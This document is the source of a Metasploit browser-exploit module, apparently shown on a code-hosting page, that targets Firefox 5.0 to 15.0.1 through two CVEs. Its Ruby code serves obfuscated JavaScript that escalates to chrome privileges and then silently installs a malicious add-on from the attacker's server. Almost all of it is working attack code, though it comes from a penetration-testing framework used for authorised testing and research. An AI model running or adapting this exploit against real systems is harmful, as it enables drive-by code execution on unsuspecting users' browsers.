Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::BrowserExploitServer9include Msf::Exploit::Remote::BrowserAutopwn10include Msf::Exploit::Remote::FirefoxAddonGenerator1112autopwn_info({13:ua_name => HttpClients::FF,14:ua_minver => "5.0",15:ua_maxver => "15.0.1",16:javascript => true,17:rank => NormalRanking18})1920def initialize(info = {})21super(update_info(info,22'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',23'Description' => %q{24On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given25invalid input, would throw an exception that did not have an __exposedProps__26property set. By re-setting this property on the exception object's prototype,27the chrome-based defineProperty method is made available.2829With the defineProperty method, functions belonging to window and document can be30overridden with a function that gets called from chrome-privileged context. From here,31another vulnerability in the crypto.generateCRMFRequest function is used to "peek"32into the context's private scope. Since the window does not have a chrome:// URL,33the insecure parts of Components.classes are not available, so instead the AddonManager34API is invoked to silently install a malicious plugin.35},36'License' => MSF_LICENSE,37'Author' => [38'Mariusz Mlynski', # discovered CVE-2012-399339'moz_bug_r_a4', # discovered CVE-2013-171040'joev' # metasploit module41],42'DisclosureDate' => '2013-08-06',43'References' => [44['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)45['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],46['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)47],48'BrowserRequirements' => {49:source => 'script',50:ua_name => HttpClients::FF,51:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }52}53))5455register_options([56OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )57])58end5960def on_request_exploit(cli, request, target_info)61if request.uri.match(/\.xpi$/i)62print_status("Sending the malicious addon")63send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })64else65print_status("Sending HTML")66res = generate_html(target_info,request.headers['Host'])67vprint_status res.to_s68send_response_html(cli, res)69end70end7172def generate_html(target_info,refer)73injection = if target_info[:ua_ver].to_i == 1574"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"75else76"p2.constructor.defineProperty(obj,key,{get:runme});"77end7879if refer.nil? or refer.blank?80redirect = "#{get_module_uri}/addon.xpi"81else82proto = ((datastore['SSL']) ? 'https' : 'http')83redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"84end8586script = js_obfuscate %Q|87try{InstallTrigger.install(0)}catch(e){p=e;};88var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));89p2.__exposedProps__={90constructor:'rw',91prototype:'rw',92defineProperty:'rw',93__exposedProps__:'rw'94};95var s = document.querySelector('#payload').innerHTML;96var q = false;97var register = function(obj,key) {98var runme = function(){99if (q) return;100q = true;101window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");102};103try {104#{injection}105} catch (e) {}106};107for (var i in window) register(window, i);108for (var i in document) register(document, i);109|110111js_payload = js_obfuscate %Q|112if (!window.done) {113window.AddonManager.getInstallForURL(114'#{redirect}',115function(install) { install.install() },116'application/x-xpinstall'117);118window.done = true;119}120|121122%Q|123<html>124<body>125#{datastore['CONTENT']}126<div id='payload' style='display:none'>127#{js_payload}128</div>129<script>130#{script}131</script>132</body>133</html>134|135end136end137138139